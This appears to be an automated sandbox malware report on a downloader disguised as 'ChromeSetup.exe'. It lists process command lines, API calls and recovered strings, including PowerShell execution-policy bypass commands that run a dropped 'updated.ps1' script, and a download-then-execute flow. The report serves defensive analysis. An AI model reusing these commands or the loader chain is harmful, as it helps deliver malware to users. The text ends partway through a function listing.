Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	01:52:33
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Imagebase:	0x460000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 7648, Parent PID: 2452

General

Target ID:	20
Start time:	01:52:33
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1
Imagebase:	0x460000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	16.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.6%
Total number of Nodes:	1397
Total number of Limit Nodes:	7

Executed Functions

Function 008D0032 Relevance: 70.8, APIs: 2, Strings: 38, Instructions: 795memoryCOMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 008D04AE
VirtualAlloc.KERNEL32(?,?,00003000,00000004), ref: 008D04DE

Strings

A, xrefs: 008D0147
ctio, xrefs: 008D026B
Lo, xrefs: 008D00FC
st, xrefs: 008D01AD
fo, xrefs: 008D022C
tNat, xrefs: 008D020A
F, xrefs: 008D018C
a, xrefs: 008D0103
Vi, xrefs: 008D012C
Ta, xrefs: 008D027D
Rt, xrefs: 008D0233
Cach, xrefs: 008D01FA
a, xrefs: 008D013E
yA, xrefs: 008D0125
P, xrefs: 008D0176
a, xrefs: 008D016D
tu, xrefs: 008D0166
ee, xrefs: 008D00F0
S, xrefs: 008D00E7
b, xrefs: 008D0113
ucti, xrefs: 008D01BE
p, xrefs: 008D00F7
otec, xrefs: 008D017F
iv, xrefs: 008D0212
ushI, xrefs: 008D019B
o, xrefs: 008D01C9
Via, xrefs: 008D0312
oc, xrefs: 008D0154
b, xrefs: 008D0287
G, xrefs: 008D0205
a, xrefs: 008D011C
mI, xrefs: 008D0221
Fu, xrefs: 008D025A
A, xrefs: 008D0244
tu, xrefs: 008D0137
t, xrefs: 008D0187
Syst, xrefs: 008D0219
Li, xrefs: 008D010C

Memory Dump Source

Source File: 00000000.00000002.1734162605.00000000008D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_FIWszl1A8l.jbxd

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID: A$A$Cach$F$Fu$G$Li$Lo$P$Rt$S$Syst$Ta$Vi$Via$a$a$a$a$b$b$ctio$ee$fo$iv$mI$o$oc$otec$p$st$t$tNat$tu$tu$ucti$ushI$yA
API String ID: 2032221330-2899676511
Opcode ID: 82ef88a58992c726dca534e4f3eff6f5ce2a19202078a525a2214f4ed1b422dd
Instruction ID: b83132b0c60866f701317c0aa86096a2508a9918ea931c656f89b395ec53190e
Opcode Fuzzy Hash: 82ef88a58992c726dca534e4f3eff6f5ce2a19202078a525a2214f4ed1b422dd
Instruction Fuzzy Hash: 2B626A315083858FD720CF24C840BABBBE5FF94714F144A2EE9C99B392E774A949CB56

Function 10002090 Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 504
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(URLDownloader,00000001,00000000,00000000,00000000), ref: 100020D3
InternetOpenUrlA.WININET(?,?,00000000,00000000,80000000,00000000), ref: 100020EF
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,1001844C,?,?,10017512,000000FF), ref: 10002101
HttpQueryInfoW.WININET(?,20000005,00000000,00000004,00000000), ref: 10002136
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 10002153

Part of subcall function 10001D60: VariantInit.OLEAUT32(?), ref: 10001D6B

Part of subcall function 10001D80: VariantClear.OLEAUT32(10002776), ref: 10001D8B

Part of subcall function 10001A20: _com_issue_error.COMSUPP ref: 10001A92

InternetReadFile.WININET(?,?,00001000,?), ref: 1000216E
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 10002197
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 10002230
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 10002240
InternetCloseHandle.WININET(?), ref: 1000224D
InternetCloseHandle.WININET(?), ref: 10002257
GetParent.USER32(?), ref: 10002261
ShowWindow.USER32(?,00000000,?,000000FF), ref: 10002270
WaitForSingleObject.KERNEL32(0000055C,00007530,?,000000FF), ref: 10002282
CoInitializeEx.OLE32(00000000,00000000,?,000000FF), ref: 1000228C
CoCreateInstance.OLE32(1001837C,00000000,00000001,1001836C,00000000), ref: 100022AE
Sleep.KERNEL32(000003E8), ref: 1000291A

Part of subcall function 10001E30: VariantInit.OLEAUT32(?), ref: 10001EAA

Sleep.KERNEL32(000003E8), ref: 1000287F

Part of subcall function 10001FA0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 10001FAD

exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10002928

Strings

.NET Framework Action, xrefs: 1000284D
.NET Framework Action, xrefs: 10002831
.NET Framework Action, xrefs: 100028CF
ChromeSetup.exe, xrefs: 10002886
URLDownloader, xrefs: 100020CE

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: Internet$Variant$CloseCreateHandleInitMessageOpenSendSleep$ClearFileHttpInfoInitializeInstanceObjectParentQueryReadShowSingleSnapshotToolhelp32WaitWindow_com_issue_errorexitfclosefopenfwrite
String ID: .NET Framework Action$.NET Framework Action$.NET Framework Action$ChromeSetup.exe$URLDownloader
API String ID: 2588663270-2833095850
Opcode ID: c9b4f2acf23c8b8e7e324eeffd37ffd6b563c1d675994be5fdea45c9a92adb6a
Instruction ID: 1a265d8126e776f6a60fe0a7d1a5fce7a7262b6fb56b0006430606afee9c3406
Opcode Fuzzy Hash: c9b4f2acf23c8b8e7e324eeffd37ffd6b563c1d675994be5fdea45c9a92adb6a
Instruction Fuzzy Hash: 89427DB4E012289FDB64CF59C895BDDBBB5BF49300F1082DAE909A7355DB30AA85CF50

Function 10005760 Relevance: 49.3, APIs: 20, Strings: 6, Instructions: 3822
sleepprocesssynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_Smanip.LIBCPMTD ref: 10005DF2
_Smanip.LIBCPMTD ref: 1000A195

Part of subcall function 10005400: HandleT.LIBCPMTD ref: 1000546A

GetTempPathA.KERNEL32(00000104,?,?,?,?,?,?,?,?,000000FF), ref: 1000A35B
_Smanip.LIBCPMTD ref: 1000A3C6
_Smanip.LIBCPMTD ref: 1000A4D7

Part of subcall function 10005520: DeleteFileA.KERNEL32(1000A58A,?,1000A58A,00000000,?,?,?,0000005C,?), ref: 10005527

Part of subcall function 10005300: ??Bios_base@std@@QBE_NXZ.MSVCP140(?,00000022,00000040,00000001), ref: 1000534A
Part of subcall function 10005300: ?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBD_J@Z.MSVCP140(1000A5BB,000000FF,?), ref: 10005384
Part of subcall function 10005300: SetFileAttributesA.KERNEL32(00000000,00000001), ref: 100053A0

Sleep.KERNEL32(000000C8,?,00000000,?,?,?,?,0000005C,?), ref: 1000A5D3
_Smanip.LIBCPMTD ref: 1000A630
_Smanip.LIBCPMTD ref: 1000A764
Sleep.KERNEL32(000000C8,?,00000000), ref: 1000AB7C
_Smanip.LIBCPMTD ref: 1000ADA7
_Smanip.LIBCPMTD ref: 1000AE64
WinExec.KERNEL32(00000000,00000000), ref: 1000AF3E
Sleep.KERNEL32(000003E8,?,?,?,00000063,?,00000070,?,?,00000000), ref: 1000AF49
_Smanip.LIBCPMTD ref: 1000B046
_Smanip.LIBCPMTD ref: 1000B0E2
memset.VCRUNTIME140(?,00000000,00000038), ref: 1000B20A
ShellExecuteExA.SHELL32(?), ref: 1000B266
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 1000B282
CloseHandle.KERNEL32(00000000), ref: 1000B28F
Sleep.KERNEL32(000003E8), ref: 1000B3A8

Strings

powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", xrefs: 1000AD9A, 1000ADA0
cmd.exe /C , xrefs: 1000AE5A, 1000AE5D
\PolicyManagement.xml, xrefs: 1000A4CD, 1000A4D0
/C , xrefs: 1000B0D8, 1000B0DB
powershell -ExecutionPolicy Bypass -File , xrefs: 1000B039, 1000B03F
.NET Framework Action, xrefs: 1000579E

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: Smanip$Sleep$FileHandle$?write@?$basic_ostream@AttributesBios_base@std@@CloseD@std@@@std@@DeleteExecExecuteObjectPathShellSingleTempU?$char_traits@V12@Waitmemset
String ID: .NET Framework Action$/C $\PolicyManagement.xml$cmd.exe /C $powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"$powershell -ExecutionPolicy Bypass -File
API String ID: 1867003993-3862442261
Opcode ID: b0ee089b01d6b1e17c926042021f85da182826e1f840194c69618660950b3ddc
Instruction ID: c3f484f0cadaf97ba32f422996ffd4aa446fbc6566911116cce282fd85213db7
Opcode Fuzzy Hash: b0ee089b01d6b1e17c926042021f85da182826e1f840194c69618660950b3ddc
Instruction Fuzzy Hash: 2FD36A50D0D6E8C9EB22C2288C587DDBEB55B22749F4441D9819C2A283C7BF1FD9CF66

Function 1000A2B4 Relevance: 41.2, APIs: 18, Strings: 5, Instructions: 967
sleepprocesssynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?,?,?,?,?,?,?,?,000000FF), ref: 1000A35B
_Smanip.LIBCPMTD ref: 1000A3C6

Part of subcall function 10005400: HandleT.LIBCPMTD ref: 1000546A

_Smanip.LIBCPMTD ref: 1000A4D7

Part of subcall function 10005520: DeleteFileA.KERNEL32(1000A58A,?,1000A58A,00000000,?,?,?,0000005C,?), ref: 10005527

Part of subcall function 10005300: ??Bios_base@std@@QBE_NXZ.MSVCP140(?,00000022,00000040,00000001), ref: 1000534A
Part of subcall function 10005300: ?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBD_J@Z.MSVCP140(1000A5BB,000000FF,?), ref: 10005384
Part of subcall function 10005300: SetFileAttributesA.KERNEL32(00000000,00000001), ref: 100053A0

Sleep.KERNEL32(000000C8,?,00000000,?,?,?,?,0000005C,?), ref: 1000A5D3
_Smanip.LIBCPMTD ref: 1000A630
_Smanip.LIBCPMTD ref: 1000A764
Sleep.KERNEL32(000000C8,?,00000000), ref: 1000AB7C
_Smanip.LIBCPMTD ref: 1000ADA7
_Smanip.LIBCPMTD ref: 1000AE64
WinExec.KERNEL32(00000000,00000000), ref: 1000AF3E
Sleep.KERNEL32(000003E8,?,?,?,00000063,?,00000070,?,?,00000000), ref: 1000AF49
_Smanip.LIBCPMTD ref: 1000B046
_Smanip.LIBCPMTD ref: 1000B0E2
memset.VCRUNTIME140(?,00000000,00000038), ref: 1000B20A
ShellExecuteExA.SHELL32(?), ref: 1000B266
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 1000B282
CloseHandle.KERNEL32(00000000), ref: 1000B28F
Sleep.KERNEL32(000003E8), ref: 1000B3A8

Strings

powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", xrefs: 1000AD9A, 1000ADA0
cmd.exe /C , xrefs: 1000AE5A, 1000AE5D
\PolicyManagement.xml, xrefs: 1000A4CD, 1000A4D0
/C , xrefs: 1000B0D8, 1000B0DB
powershell -ExecutionPolicy Bypass -File , xrefs: 1000B039, 1000B03F

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: Smanip$Sleep$FileHandle$?write@?$basic_ostream@AttributesBios_base@std@@CloseD@std@@@std@@DeleteExecExecuteObjectPathShellSingleTempU?$char_traits@V12@Waitmemset
String ID: /C $\PolicyManagement.xml$cmd.exe /C $powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"$powershell -ExecutionPolicy Bypass -File
API String ID: 1867003993-2154795836
Opcode ID: b95d4323615e4dbc46461cad133ddac9392ad2e1edfb6e9f7f37158bc2c31dc6
Instruction ID: 5ee5c772d32b0c25501e7099b99da70bcf1678fc7b94072c772d4481403b0835
Opcode Fuzzy Hash: b95d4323615e4dbc46461cad133ddac9392ad2e1edfb6e9f7f37158bc2c31dc6
Instruction Fuzzy Hash: 88B24C74C08298DEEB25CB68CC45BDEBBB5AF15304F0441D9E14D67292DBB52B88CF62

Function 10001660 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 179
windowregistrythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 10001682

Part of subcall function 10001430: SHGetKnownFolderPath.SHELL32(10018310,00000000,00000000,00000000), ref: 1000148B
Part of subcall function 10001430: wcstombs.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,00000104), ref: 100014AA
Part of subcall function 10001430: CoTaskMemFree.OLE32(00000000,00000000,?), ref: 100014DE

CreateThread.KERNEL32(00000000,00000000,10005760,00000000,00000000,00000000), ref: 10001798
RegisterClassW.USER32(?), ref: 100017F7
GetSystemMetrics.USER32(00000001), ref: 100017FF
GetSystemMetrics.USER32(00000000), ref: 10001812
CreateWindowExW.USER32(00000000,?,?,00C40000,?,?,00000190,00000078,00000000,00000000,00000000,00000000), ref: 1000185E
ShowWindow.USER32(?,00000001,?,?,?,?,?,?,?,10017426), ref: 1000186D
KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 10001894
TranslateMessage.USER32(?), ref: 100018A2
DispatchMessageW.USER32(?), ref: 100018AC

Strings

ChromeSetup.exe, xrefs: 100016C7, 10001733, 10001825
URLDownloader, xrefs: 100017A8

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: CreateMessageMetricsSystemWindow$CallbackClassDispatchDispatcherFolderFreeHandleKnownModulePathRegisterShowTaskThreadTranslateUserwcstombs
String ID: ChromeSetup.exe$URLDownloader
API String ID: 73900685-4101260699
Opcode ID: e2c4abd069d022b3f62bc688cf9d5a6553670ba20d304f4198ffeaec2c1a15ca
Instruction ID: 8631f2352c9d4e8355fdf3fc5455be072e9b283b4b7067b2d869b395449685d5
Opcode Fuzzy Hash: e2c4abd069d022b3f62bc688cf9d5a6553670ba20d304f4198ffeaec2c1a15ca
Instruction Fuzzy Hash: 807110B5D00218EFEB54CFA4CC45FDEBBB4EB48700F108169E619A7295EB74AA44CF51

Function 100018D0 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 87
windowthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitCommonControlsEx.COMCTL32(00000008), ref: 10001903
GetModuleHandleA.KERNEL32(00000000,00000000), ref: 1000190D
CreateWindowExW.USER32(00000000,msctls_progress32,00000000,50800001,00000014,0000001E,00000159,00000014,00000001,00000065,00000000), ref: 10001933
SetWindowTheme.UXTHEME(00030420,10018438,10018434), ref: 1000194E
SendMessageW.USER32(00030420,00000409,00000000,00D77800), ref: 10001967
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(0000000C), ref: 10001978
CreateThread.KERNEL32(00000000,00000000,Function_000019F0,?,00000000,00000000), ref: 100019B9
PostQuitMessage.USER32(00000000), ref: 100019C4
DefWindowProcW.USER32(00000002,?,?,?), ref: 100019DD

Strings

, xrefs: 100018F8
msctls_progress32, xrefs: 1000192C

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: Window$CreateMessage$CommonControlsHandleInitModulePostProcQuitSendThemeThreadmalloc
String ID: $msctls_progress32
API String ID: 1181878002-3669180086
Opcode ID: f1c3b5bd482cc1038fd523d6cd0664b2522f3065c76e0cbb8d44deae0c0665e8
Instruction ID: 07dac4f513f804ff03a6516b31f22f63e0bdfab53d31000085bea38267b703f6
Opcode Fuzzy Hash: f1c3b5bd482cc1038fd523d6cd0664b2522f3065c76e0cbb8d44deae0c0665e8
Instruction Fuzzy Hash: 03310675A40218FFF750CF94CC9AFAA77B4FB48701F208118FA05AA290C770DA00CB65

Function 10015820 Relevance: 17.9, APIs: 8, Strings: 2, Instructions: 357
filesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 100054B0: SHGetFolderPathA.SHELL32(00000000,10015860,00000000,00000000,?), ref: 100054D1

Part of subcall function 10015750: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 10015783

Part of subcall function 10015700: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1001571E

_Smanip.LIBCPMTD ref: 10015B0A
_Smanip.LIBCPMTD ref: 10015BA4
memset.VCRUNTIME140(?,00000000,00000038,?,?,?,0000002F,?,00000070,?), ref: 10015C85
ShellExecuteExA.SHELL32(0000003C,?,?,?,?,?,?,0000002F,?,00000070,?), ref: 10015CE1
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,?,?,0000002F,?,00000070,?), ref: 10015CFD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,0000002F,?,00000070,?), ref: 10015D0A
CopyFileA.KERNEL32(00000000,?,00000000), ref: 10015D73
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 10015D99

Strings

open, xrefs: 10015D92
%s\%s, xrefs: 100158AD

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: File$ExecuteModuleNameShellSmanip$CloseCopyFolderHandleObjectPathSingleWaitmemset
String ID: %s\%s$open
API String ID: 1049494684-538903891
Opcode ID: 0874a88fbfece6f8bf1c8d8ced0699038052d698083af6ca92b648841300b0f5
Instruction ID: 9eb432f15a048c8dfdefea35090f5a4ff5850cd705bbf9561c51413f96cb23ad
Opcode Fuzzy Hash: 0874a88fbfece6f8bf1c8d8ced0699038052d698083af6ca92b648841300b0f5
Instruction Fuzzy Hash: 48021374C083D8DEEB11CBA4C859BDDBFB5AF15304F0441D9D1496B282DBBA5B88CB62

Function 10015DF0 Relevance: 12.0, APIs: 8, Instructions: 41
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNEL32(00000000,00000000,100185DC), ref: 10015E0A
GetLastError.KERNEL32 ref: 10015E13
CloseHandle.KERNEL32(?), ref: 10015E24
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10015E2C
GetCurrentThread.KERNEL32 ref: 10015E3C
WaitForSingleObject.KERNEL32(00000000), ref: 10015E43
CreateThread.KERNEL32(00000000,00000000,1000B570,00000000,00000000,00000000), ref: 10015E58
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10015E65

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: CreateThreadexit$CloseCurrentErrorHandleLastMutexObjectSingleWait
String ID:
API String ID: 355449500-0
Opcode ID: 932af6c73dcd6bb60c1c2832b1bdd1deeeb21924d37d70f5ea829a4b8e9779f7
Instruction ID: 0f97a28617a5a68d27cb6afa5f47f3953ca9a481207b566471c0f9ba98c6beaf
Opcode Fuzzy Hash: 932af6c73dcd6bb60c1c2832b1bdd1deeeb21924d37d70f5ea829a4b8e9779f7
Instruction Fuzzy Hash: 69014430A84318FBF791ABF08C4EB4D3A65EB08703F104440F709AE1D0CAB5D7848B25

Function 1000281E Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000003E8), ref: 1000291A

Part of subcall function 10001E30: VariantInit.OLEAUT32(?), ref: 10001EAA

Sleep.KERNEL32(000003E8), ref: 1000287F

Part of subcall function 10001FA0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 10001FAD

exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10002928

Strings

.NET Framework Action, xrefs: 1000284D
.NET Framework Action, xrefs: 10002831
.NET Framework Action, xrefs: 100028CF
ChromeSetup.exe, xrefs: 10002886

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: Sleep$CreateInitSnapshotToolhelp32Variantexit
String ID: .NET Framework Action$.NET Framework Action$.NET Framework Action$ChromeSetup.exe
API String ID: 4205734914-284283187
Opcode ID: 76a2244d046801374e69f27d23f782b19679ddba291410d41aa7a00bfad43085
Instruction ID: 01e91d36be03056c32c976757ddfbd5278b963073b9274932eac54e5bb7bc252
Opcode Fuzzy Hash: 76a2244d046801374e69f27d23f782b19679ddba291410d41aa7a00bfad43085
Instruction Fuzzy Hash: C321ACB4C01218EBEB14CFA0DC99BEEB770FF45391F504298F4052A28ADB34AB44CB51

Function 10012F80 Relevance: 4.6, APIs: 3, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??0?$basic_ios@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140 ref: 10012FBA
??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QAE@PAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140(00000000), ref: 10012FE7
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000,00000040,00000022,?), ref: 10013068

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_ios@??0?$basic_ostream@?setstate@?$basic_ios@D@std@@@1@_V?$basic_streambuf@
String ID:
API String ID: 2185338108-0
Opcode ID: 88d071829cc17b632e2f1fa59299d32dbac0b10e089369fb1704501315f6ea19
Instruction ID: 106bc35cbdd57d80b480a718a0c65df66589e39bca71049decacc3f2370ba628
Opcode Fuzzy Hash: 88d071829cc17b632e2f1fa59299d32dbac0b10e089369fb1704501315f6ea19
Instruction Fuzzy Hash: AB313CB4A0021ADFDB04CF98CD91BAEB7B5FF48704F108658E916AB391C771AA41CB91

Function 10001430 Relevance: 4.6, APIs: 3, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetKnownFolderPath.SHELL32(10018310,00000000,00000000,00000000), ref: 1000148B
wcstombs.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,00000104), ref: 100014AA
CoTaskMemFree.OLE32(00000000,00000000,?), ref: 100014DE

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: FolderFreeKnownPathTaskwcstombs
String ID:
API String ID: 2577077003-0
Opcode ID: 493dfbf237c9a535aafa1e804c9f1c3c3366dd009bb43d7c840f6e417707dc2e
Instruction ID: 90efd60632e2d823e52567890d799542f586c4bd548bb1fa8c7a4ffe1eb11bac
Opcode Fuzzy Hash: 493dfbf237c9a535aafa1e804c9f1c3c3366dd009bb43d7c840f6e417707dc2e
Instruction Fuzzy Hash: 4D2117B1940219EBEB00DF94CC95BEEBBB4FB08740F108529F515AB290DB74AB45CB90

Function 10005300 Relevance: 4.6, APIs: 3, Instructions: 56
COMMON

Download Yara Rule

